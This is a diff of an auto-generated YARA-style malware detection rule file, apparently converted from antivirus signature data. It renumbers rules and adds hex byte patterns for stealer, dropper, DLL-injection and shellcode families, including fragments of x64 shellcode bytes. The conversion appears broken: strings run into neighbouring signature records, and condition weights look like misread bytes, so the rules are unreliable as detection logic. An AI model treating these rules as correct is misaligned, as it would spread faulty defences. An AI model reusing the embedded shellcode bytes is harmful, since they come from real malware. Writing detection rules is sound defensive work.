1)*18467+(#a_73_1 & 1)*-32501+(#a_72_2 & 1)*29285+(#a_65_3 & 1)*29540+(#a_66_4 & 1)*29551+(#a_00_7 & 1)*10+(#a_6d_8 & 1)*29550) >=9 + +} +rule _InfrastructureShared_15857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -171425,7 +182840,7 @@ rule _InfrastructureShared_14883{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*21057+(#a_4c_2 & 1)*29804+(#a_42_3 & 1)*19745+(#a_54_4 & 1)*19807) >=10 } -rule _InfrastructureShared_14884{ +rule _InfrastructureShared_15858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -171440,7 +182855,7 @@ rule _InfrastructureShared_14884{ ((#a_4c_0 & 1)*21539+(#a_85_1 & 1)*6400+(#a_6d_2 & 1)*8308+(#a_11_3 & 1)*769+(#a_73_4 & 1)*5640+(#a_8e_5 & 1)*5638) >=10 } -rule _InfrastructureShared_14885{ +rule _InfrastructureShared_15859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 05 00 21 " @@ -171454,7 +182869,7 @@ rule _InfrastructureShared_14885{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*4374+(#a_69_2 & 1)*2308+(#a_55_3 & 1)*29807+(#a_73_4 & 1)*25461) >=13 } -rule _InfrastructureShared_14886{ +rule _InfrastructureShared_15860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 09 00 21 " @@ -171471,7 +182886,7 @@ rule _InfrastructureShared_14886{ ((#a_5f_0 & 1)*16931+(#a_66_1 & 1)*11891+(#a_6c_2 & 1)*29557+(#a_4f_3 & 1)*17952+(#a_00_5 & 1)*78+(#a_00_6 & 1)*21+(#a_73_7 & 1)*29279+(#a_4f_8 & 1)*19532) >=16 } -rule _InfrastructureShared_14887{ +rule _InfrastructureShared_15861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 06 00 09 00 21 " @@ -171481,28 +182896,50 @@ rule _InfrastructureShared_14887{ $a_00_3 = {03 00 12 01 50 00 4c 00 55 00 47 00 49 00 4e 00 53 00 36 00 34 00 03 00 22 01 50 00 4c 00 55 00 47 00 49 00 4e 00 53 00 09 00 50 00 4c 00 55 00 47 00 49 00 4e 00 53 00 36 00 34 00 06 00 0d 01 43 57 65 62 41 74 74 61 63 6b 44 6c 67 0a 00 10 01 e6 92 ad e6 94 be e7 9b } //82 $a_ac_4 = {64 6c 6c 0a 00 10 01 e9 ab 98 e9 80 9f e5 b1 8f e5 b9 95 2e 64 6c 6c 00 00 78 df 00 00 15 00 15 00 0b 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 04 00 1f 02 46 69 6c 65 4d 65 6d 2e 64 6c 6c 00 90 02 03 64 65 66 61 75 6c 74 90 02 0a 2e 64 61 74 90 00 04 00 09 00 00 4c 6f 63 6b 2e 64 6c 6c 04 00 15 00 4e 6f 50 72 6f 74 65 63 74 65 64 4d 6f 64 65 42 61 6e 6e 65 72 02 00 07 00 63 74 66 6d 6f } //-6767 $a_00_5 = {05 00 } //11886 - $a_6b_6 = {04 00 09 00 44 4c 4c 4d 4f 44 55 4c 45 01 00 0b 00 46 49 52 45 46 4f 58 2e 45 58 45 01 00 0a 00 43 48 52 4f 4d 45 2e 45 58 45 01 00 07 00 49 45 53 54 41 52 54 0a 00 14 01 64 ff 30 64 89 20 83 eb 01 72 07 74 0e 4b 74 22 eb 43 55 e8 0a 00 0e 01 74 44 c7 04 24 28 01 00 00 8b d4 8b c3 e8 00 00 78 e0 00 00 01 00 01 00 03 00 21 23 54 } //27694 - $a_61_7 = {44 72 6f 70 70 65 72 3a 4d 53 49 4c 2f 55 72 73 6e 69 66 2e 47 45 21 4d 54 42 00 01 00 2f 02 28 1c 00 00 0a 72 0d 00 00 70 28 1d 00 00 0a 0a 06 90 02 30 06 28 1f 00 00 0a 90 02 30 0a 90 02 c8 28 1f 00 00 0a 90 02 30 00 00 0a 2a 90 00 01 00 3c 02 28 1f 00 00 0a 28 0a 00 00 06 28 20 00 00 0a 0a 06 90 02 30 06 28 90 02 } //28530 + $a_6b_6 = {04 00 09 00 44 4c 4c 4d 4f 44 55 4c 45 01 00 0b 00 46 49 52 45 46 4f 58 2e 45 58 45 01 00 0a 00 43 48 52 4f 4d 45 2e 45 58 45 01 00 07 00 49 45 53 54 41 52 54 0a 00 14 01 64 ff 30 64 89 20 83 eb 01 72 07 74 0e 4b 74 22 eb 43 55 e8 0a 00 0e 01 74 44 c7 04 24 28 01 00 00 8b d4 8b c3 e8 00 00 78 df 00 00 34 00 34 00 0a 00 21 23 48 } //27694 + $a_3a_7 = {65 6c 65 73 74 69 61 6c 43 53 74 65 61 6c 65 72 2e 44 53 4b 00 32 00 25 80 01 24 61 35 31 31 62 32 39 32 2d 37 64 65 38 2d 34 63 30 32 2d 39 35 37 32 2d 36 65 36 66 62 62 38 65 66 62 66 65 01 00 0d 80 01 7b 31 31 31 31 31 2d 32 32 32 32 32 2d 01 } //21587 + $a_01_8 = {42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 80 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 08 80 01 47 65 74 42 79 74 65 73 01 00 0e 80 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 09 80 01 41 63 74 69 76 61 74 6f 72 01 00 0a 80 01 47 65 74 4d 65 74 68 6f 64 73 01 00 0c 80 01 67 65 74 5f 41 73 73 65 6d 62 6c 79 01 00 07 80 01 47 65 74 54 79 70 65 00 00 78 e0 00 00 01 } //3072 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*17487+(#a_00_3 & 1)*82+(#a_ac_4 & 1)*-6767+(#a_00_5 & 1)*11886+(#a_6b_6 & 1)*27694+(#a_61_7 & 1)*28530) >=6 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*17487+(#a_00_3 & 1)*82+(#a_ac_4 & 1)*-6767+(#a_00_5 & 1)*11886+(#a_6b_6 & 1)*27694+(#a_3a_7 & 1)*21587+(#a_01_8 & 1)*3072) >=6 } -rule _InfrastructureShared_14888{ +rule _InfrastructureShared_15862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 0b 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 04 00 1f 02 46 69 6c 65 4d 65 6d 2e 64 6c 6c 00 90 02 03 64 65 66 61 75 6c 74 90 02 0a 2e 64 61 74 90 00 04 00 09 00 00 4c 6f 63 6b 2e 64 6c 6c 04 00 15 00 4e 6f 50 72 6f 74 65 63 74 65 64 4d 6f 64 65 42 61 6e 6e 65 72 02 00 07 00 63 74 66 6d 6f 6e 2e 02 00 05 00 2e 6c } //25635 $a_44_3 = {4c 45 01 00 0b 00 46 49 52 45 46 4f 58 2e 45 58 45 01 00 0a 00 43 48 52 4f 4d 45 2e 45 58 45 01 00 07 00 49 45 53 54 41 52 54 0a 00 14 01 64 ff 30 64 89 20 83 eb 01 72 07 74 0e 4b 74 22 eb 43 55 e8 0a 00 0e 01 74 44 c7 04 24 28 01 00 00 } //19788 - $a_c3_4 = {00 00 78 e0 00 00 01 00 01 00 03 00 21 23 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 4d 53 49 4c 2f 55 72 73 6e 69 66 2e 47 45 21 4d 54 42 00 01 00 2f 02 28 1c 00 00 0a 72 0d 00 00 70 28 1d 00 00 0a 0a 06 90 02 30 06 28 1f 00 00 0a 90 02 30 0a 90 02 c8 28 1f 00 00 0a 90 02 30 00 00 0a 2a 90 00 01 00 3c 02 28 1f 00 00 0a 28 0a 00 00 06 28 20 00 00 0a 0a 06 90 02 30 06 28 90 02 30 1f 00 00 0a 90 02 40 0a 0b 07 02 28 } //-11125 - $a_00_7 = {00 0a 90 02 40 00 00 0a 2a 90 00 01 00 3e 00 28 1d 00 00 0a 20 24 00 00 00 28 23 00 00 06 28 1e 00 } //10246 - $a_07_8 = {02 28 10 00 00 06 28 08 00 00 06 } //2560 - $a_20_10 = {00 0a 26 02 28 21 00 00 0a 20 05 00 00 00 38 96 ff ff ff 2a 00 00 78 e0 00 00 01 00 01 00 03 00 21 23 64 6f 5f 65 78 68 } //1802 + $a_c3_4 = {00 00 78 df 00 00 34 00 34 00 0a 00 21 23 48 53 54 52 3a 43 65 6c 65 73 74 69 61 6c 43 53 74 65 61 6c 65 72 2e 44 53 4b 00 32 00 25 80 01 24 61 35 31 31 62 32 39 32 2d 37 64 65 38 2d 34 63 30 32 2d 39 35 37 32 2d 36 65 36 66 62 62 38 65 66 62 66 65 01 00 0d 80 01 7b 31 31 31 31 31 2d 32 32 32 32 32 2d 01 00 0c 80 01 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 80 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 } //-11125 + $a_47_5 = {74 } //-32760 t + $a_65_6 = {01 00 0e 80 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 09 80 01 41 63 74 69 76 61 74 6f 72 01 00 0a 80 01 47 65 74 4d 65 74 68 6f 64 73 01 00 0c 80 01 67 65 74 5f 41 73 73 65 6d 62 6c 79 01 00 07 80 01 47 65 74 54 79 70 65 00 00 78 e0 00 00 01 00 01 00 03 00 21 23 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 4d 53 49 4c 2f 55 72 73 6e 69 66 } //31042 + $a_21_7 = {54 42 00 01 00 2f 02 28 1c 00 00 0a 72 0d 00 00 70 28 1d 00 00 0a 0a 06 90 02 30 06 28 1f 00 00 0a 90 02 30 0a 90 02 c8 28 1f 00 00 0a 90 02 30 00 00 0a 2a 90 00 01 00 3c 02 28 1f 00 00 0a 28 0a 00 00 06 28 } //18222 + $a_02_9 = {30 06 28 90 02 30 1f 00 00 0a 90 02 40 0a 0b 07 02 28 17 00 00 06 28 07 00 00 06 28 21 00 00 0a 90 02 40 00 00 0a 2a 90 00 01 00 3e 00 28 1d 00 00 0a 20 24 00 00 00 28 23 00 00 06 28 1e 00 00 0a 0b 07 02 28 10 00 00 06 28 08 00 00 06 28 1f 00 00 0a 07 28 20 00 00 0a 26 02 28 21 00 00 0a 20 05 00 00 00 38 96 ff ff ff 2a 00 00 78 e0 00 00 01 00 01 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 } //1546 + $a_72_10 = {73 70 61 72 66 5f 64 00 01 00 62 01 52 00 75 00 6e 00 44 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 20 00 49 00 6e 00 65 00 74 00 43 00 70 00 6c 00 2e 00 63 00 70 00 6c 00 2c 00 43 00 6c 00 65 00 61 00 72 00 4d 00 79 00 54 00 72 00 61 00 63 00 6b 00 73 00 42 00 79 00 50 00 72 00 6f 00 63 00 65 00 } //24430 condition: - ((#a_5f_0 & 1)*25635+(#a_44_3 & 1)*19788+(#a_c3_4 & 1)*-11125+(#a_00_7 & 1)*10246+(#a_07_8 & 1)*2560+(#a_20_10 & 1)*1802) >=21 + ((#a_5f_0 & 1)*25635+(#a_44_3 & 1)*19788+(#a_c3_4 & 1)*-11125+(#a_47_5 & 1)*-32760+(#a_65_6 & 1)*31042+(#a_21_7 & 1)*18222+(#a_02_9 & 1)*1546+(#a_72_10 & 1)*24430) >=21 } -rule _InfrastructureShared_14889{ +rule _InfrastructureShared_15863{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,34 00 34 00 0a 00 21 " + + strings : + $a_54_0 = {3a 43 65 6c 65 73 74 69 61 6c 43 53 74 65 61 6c 65 72 2e 44 53 4b 00 32 00 25 80 01 24 61 35 31 31 62 32 39 32 2d 37 64 65 38 2d 34 63 30 32 2d 39 35 37 32 2d 36 65 36 66 62 62 38 65 66 62 66 65 01 00 0d 80 01 7b 31 31 31 31 31 2d 32 32 32 32 32 2d } //18467 + $a_80_1 = {42 61 73 65 36 34 53 74 72 69 6e 67 } //Base64String 1 + $a_80_2 = {44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 } //DebuggingModes 1 + $a_80_3 = {47 65 74 42 79 74 65 73 } //GetBytes 1 + $a_80_4 = {43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 } //CreateInstance 1 + $a_80_5 = {41 63 74 69 76 61 74 6f 72 } //Activator 1 + $a_80_6 = {47 65 74 4d 65 74 68 6f 64 73 } //GetMethods 1 + $a_80_7 = {67 65 74 5f 41 73 73 65 6d 62 6c 79 } //get_Assembly 1 + $a_80_8 = {47 65 74 54 79 70 65 } //GetType 1 + $a_e0_9 = {00 01 00 01 00 03 00 21 23 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 4d 53 49 4c 2f 55 72 73 6e 69 66 2e 47 45 21 4d 54 42 00 01 00 2f 02 28 1c 00 00 0a 72 0d 00 00 70 28 1d 00 00 0a 0a 06 90 02 30 06 28 1f 00 00 0a 90 02 30 0a 90 02 c8 28 1f 00 00 0a 90 02 30 00 00 0a 2a 90 00 01 00 3c 02 28 1f 00 00 0a 28 0a 00 00 06 28 20 00 00 0a 0a 06 90 02 30 06 28 90 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_e0_9 & 1)*0) >=52 + +} +rule _InfrastructureShared_15864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -171514,7 +182951,7 @@ rule _InfrastructureShared_14889{ ((#a_6f_0 & 1)*21539+(#a_0b_1 & 1)*16386+(#a_21_2 & 1)*1536) >=1 } -rule _InfrastructureShared_14890{ +rule _InfrastructureShared_15865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -171525,7 +182962,7 @@ rule _InfrastructureShared_14890{ ((#a_5f_0 & 1)*25635+(#a_00_2 & 1)*80) >=1 } -rule _InfrastructureShared_14891{ +rule _InfrastructureShared_15866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -171540,7 +182977,7 @@ rule _InfrastructureShared_14891{ ((#a_72_0 & 1)*22051+(#a_5c_1 & 1)*7680+(#a_00_3 & 1)*114+(#a_3a_4 & 1)*25964+(#a_64_5 & 1)*24924+(#a_2f_6 & 1)*18771) >=1 } -rule _InfrastructureShared_14892{ +rule _InfrastructureShared_15867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -171551,7 +182988,7 @@ rule _InfrastructureShared_14892{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*21574) >=2 } -rule _InfrastructureShared_14893{ +rule _InfrastructureShared_15868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -171561,7 +182998,7 @@ rule _InfrastructureShared_14893{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_14894{ +rule _InfrastructureShared_15869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -171573,7 +183010,7 @@ rule _InfrastructureShared_14894{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11617+(#a_2d_2 & 1)*23085) >=2 } -rule _InfrastructureShared_14895{ +rule _InfrastructureShared_15870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -171586,7 +183023,7 @@ rule _InfrastructureShared_14895{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*27753+(#a_6e_2 & 1)*17262+(#a_61_3 & 1)*11877) >=2 } -rule _InfrastructureShared_14896{ +rule _InfrastructureShared_15871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -171600,7 +183037,7 @@ rule _InfrastructureShared_14896{ ((#a_46_0 & 1)*16675+(#a_67_2 & 1)*400+(#a_00_3 & 1)*97+(#a_74_4 & 1)*8308+(#a_90_5 & 1)*400) >=2 } -rule _InfrastructureShared_14897{ +rule _InfrastructureShared_15872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -171612,7 +183049,7 @@ rule _InfrastructureShared_14897{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30579+(#a_38_2 & 1)*13156) >=3 } -rule _InfrastructureShared_14898{ +rule _InfrastructureShared_15873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -171623,7 +183060,7 @@ rule _InfrastructureShared_14898{ ((#a_46_0 & 1)*16675+(#a_17_1 & 1)*9476) >=3 } -rule _InfrastructureShared_14899{ +rule _InfrastructureShared_15874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -171635,7 +183072,7 @@ rule _InfrastructureShared_14899{ ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*20916+(#a_23_2 & 1)*3) >=3 } -rule _InfrastructureShared_14900{ +rule _InfrastructureShared_15875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -171646,7 +183083,7 @@ rule _InfrastructureShared_14900{ ((#a_46_0 & 1)*16675+(#a_09_2 & 1)*11408) >=3 } -rule _InfrastructureShared_14901{ +rule _InfrastructureShared_15876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -171658,7 +183095,7 @@ rule _InfrastructureShared_14901{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*105+(#a_43_2 & 1)*19823) >=3 } -rule _InfrastructureShared_14902{ +rule _InfrastructureShared_15877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -171669,7 +183106,7 @@ rule _InfrastructureShared_14902{ ((#a_54_0 & 1)*18467+(#a_7e_1 & 1)*32125) >=3 } -rule _InfrastructureShared_14903{ +rule _InfrastructureShared_15878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -171680,7 +183117,7 @@ rule _InfrastructureShared_14903{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-26624) >=3 } -rule _InfrastructureShared_14904{ +rule _InfrastructureShared_15879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -171692,7 +183129,7 @@ rule _InfrastructureShared_14904{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*23830+(#a_4d_2 & 1)*28257) >=3 } -rule _InfrastructureShared_14905{ +rule _InfrastructureShared_15880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -171702,7 +183139,7 @@ rule _InfrastructureShared_14905{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_14906{ +rule _InfrastructureShared_15881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -171713,7 +183150,18 @@ rule _InfrastructureShared_14906{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*111) >=3 } -rule _InfrastructureShared_14907{ +rule _InfrastructureShared_15882{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 46 65 64 6f 72 61 2e 42 00 01 00 33 03 fc 48 83 e4 f0 e8 90 01 04 41 51 41 50 52 51 56 48 31 d2 65 48 8b 52 60 48 8b 52 18 48 8b 52 20 48 8b 72 50 48 0f b7 4a 4a 4d 31 c9 48 31 c0 ac 3c 90 } //21283 + $a_0d_2 = {41 01 c1 e2 ed 52 41 51 48 8b 52 20 8b 42 3c 48 01 d0 8b 80 88 00 00 00 48 85 c0 74 90 01 01 48 01 d0 50 8b 48 18 44 8b 40 20 49 01 d0 e3 90 01 01 48 ff c9 41 8b 34 88 48 01 d6 4d 31 c9 48 31 c0 90 00 01 00 36 03 41 c1 c9 0d 41 01 c1 38 e0 75 90 01 01 4c 03 4c 24 08 45 39 d1 75 90 01 01 58 44 8b 40 24 49 01 d0 66 41 8b 0c 48 44 8b 40 1c 49 01 d0 41 8b 04 88 48 01 d0 90 00 00 00 78 e0 00 00 03 00 03 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 56 42 2e 67 65 6e 21 43 00 01 00 20 01 53 48 44 6f 63 56 77 43 74 6c 2e 57 65 62 42 72 6f 77 73 65 72 } //-16063 + condition: + ((#a_46_0 & 1)*21283+(#a_0d_2 & 1)*-16063) >=3 + +} +rule _InfrastructureShared_15883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -171728,7 +183176,7 @@ rule _InfrastructureShared_14907{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*20831+(#a_65_2 & 1)*11878+(#a_00_3 & 1)*97+(#a_00_4 & 1)*101+(#a_01_5 & 1)*21503) >=3 } -rule _InfrastructureShared_14908{ +rule _InfrastructureShared_15884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -171739,7 +183187,7 @@ rule _InfrastructureShared_14908{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*97) >=4 } -rule _InfrastructureShared_14909{ +rule _InfrastructureShared_15885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -171752,7 +183200,7 @@ rule _InfrastructureShared_14909{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*257+(#a_58_3 & 1)*19744+(#a_00_4 & 1)*1) >=4 } -rule _InfrastructureShared_14910{ +rule _InfrastructureShared_15886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -171766,7 +183214,7 @@ rule _InfrastructureShared_14910{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*21586+(#a_00_3 & 1)*46+(#a_3a_4 & 1)*29812+(#a_53_5 & 1)*11552) >=4 } -rule _InfrastructureShared_14911{ +rule _InfrastructureShared_15887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -171781,7 +183229,7 @@ rule _InfrastructureShared_14911{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*30027+(#a_6f_2 & 1)*25445+(#a_df_3 & 1)*20811+(#a_90_4 & 1)*1025+(#a_00_5 & 1)*29541) >=4 } -rule _InfrastructureShared_14912{ +rule _InfrastructureShared_15888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -171795,7 +183243,7 @@ rule _InfrastructureShared_14912{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28619+(#a_a3_2 & 1)*400+(#a_1d_3 & 1)*6+(#a_4d_4 & 1)*30273) >=5 } -rule _InfrastructureShared_14913{ +rule _InfrastructureShared_15889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -171809,7 +183257,7 @@ rule _InfrastructureShared_14913{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28500+(#a_65_2 & 1)*29301+(#a_00_3 & 1)*82+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_14914{ +rule _InfrastructureShared_15890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -171823,7 +183271,7 @@ rule _InfrastructureShared_14914{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*116+(#a_33_2 & 1)*12387+(#a_00_3 & 1)*66+(#a_36_4 & 1)*385) >=5 } -rule _InfrastructureShared_14915{ +rule _InfrastructureShared_15891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -171837,7 +183285,7 @@ rule _InfrastructureShared_14915{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*26478+(#a_69_2 & 1)*25449+(#a_00_3 & 1)*28537+(#a_72_4 & 1)*27253) >=5 } -rule _InfrastructureShared_14916{ +rule _InfrastructureShared_15892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -171851,7 +183299,7 @@ rule _InfrastructureShared_14916{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25441+(#a_65_2 & 1)*25972+(#a_68_3 & 1)*-32471+(#a_65_4 & 1)*28261) >=5 } -rule _InfrastructureShared_14917{ +rule _InfrastructureShared_15893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -171864,7 +183312,7 @@ rule _InfrastructureShared_14917{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*24941+(#a_72_2 & 1)*29545+(#a_4e_3 & 1)*29540) >=5 } -rule _InfrastructureShared_14918{ +rule _InfrastructureShared_15894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -171873,26 +183321,41 @@ rule _InfrastructureShared_14918{ $a_79_1 = {70 64 62 01 00 25 81 01 76 65 72 79 4d 69 64 73 74 4e 61 69 72 74 68 65 69 72 45 63 4c 69 76 69 6e 67 6c 65 73 73 65 72 2c 6d 61 6c 65 01 00 21 81 01 4f 68 67 6f 6f 64 66 69 72 6d 61 6d 65 6e 74 31 6d 61 79 66 65 6d 61 6c 65 45 76 65 6e 69 6e 67 64 01 00 1b 81 01 50 5a 46 6d 6f 72 6e 69 6e 67 73 61 79 69 6e 67 66 61 63 65 67 72 61 73 73 62 65 01 00 10 } //27947 $a_69_2 = {65 6e 59 73 61 79 69 6e 67 57 65 72 65 00 00 78 e0 00 00 06 00 06 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6c 6c 49 6e 6a 65 63 74 2e 43 43 4a 54 21 4d 54 42 00 02 00 31 03 8b 55 ba 8b 4d d5 8b 95 90 01 02 ff ff 33 8d 90 01 02 ff ff 0f b6 db 8b 4d ee 48 89 05 90 01 04 49 c7 c0 90 } //385 $a_4d_3 = {49 29 c8 89 5d ca 90 00 01 00 28 01 63 6f 6e 67 65 6e 69 74 61 6c 6c 79 5f 63 68 69 63 6b 65 6e 73 5f 68 79 70 65 72 73 65 6e 73 69 74 69 76 69 74 69 65 73 01 00 18 01 63 6f 6e 73 74 61 62 75 6c 61 72 69 65 73 43 69 70 72 6f 5f 68 69 6d 73 01 00 1a 01 70 61 69 6e 74 73 5f 62 69 65 6e 6e 69 61 6c 73 5f 69 6d 61 67 69 6e 69 6e 67 01 00 13 01 73 75 70 65 72 73 69 7a 65 73 5f 61 6d 62 69 65 6e 63 65 00 00 78 e0 00 00 06 00 } //1025 - $a_00_4 = {21 23 48 53 54 52 } //6 !#HSTR - $a_6f_5 = {61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 53 36 21 4d 54 42 00 01 00 24 81 01 63 36 62 33 63 39 31 61 2d 65 34 64 62 2d 34 34 64 32 2d 39 30 32 66 2d 37 61 63 37 61 34 66 32 66 36 36 35 01 00 29 81 01 52 65 6d 6f 74 65 45 6d 75 31 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 } //21562 + $a_00_4 = {21 23 41 4c 46 50 } //6 !#ALFP + $a_54_5 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 74 61 73 69 6e 67 65 72 2e 41 21 64 68 61 00 01 00 0b 01 67 65 74 5f 43 6d 64 44 61 74 61 01 00 0d 01 67 72 6f 75 70 61 67 65 6e 74 63 } //21061 condition: - ((#a_4c_0 & 1)*21539+(#a_79_1 & 1)*27947+(#a_69_2 & 1)*385+(#a_4d_3 & 1)*1025+(#a_00_4 & 1)*6+(#a_6f_5 & 1)*21562) >=5 + ((#a_4c_0 & 1)*21539+(#a_79_1 & 1)*27947+(#a_69_2 & 1)*385+(#a_4d_3 & 1)*1025+(#a_00_4 & 1)*6+(#a_54_5 & 1)*21061) >=5 } -rule _InfrastructureShared_14919{ +rule _InfrastructureShared_15895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 6c 6c 49 6e 6a 65 63 74 2e 43 43 4a 54 21 4d 54 42 00 02 00 31 03 8b 55 ba 8b 4d d5 8b 95 90 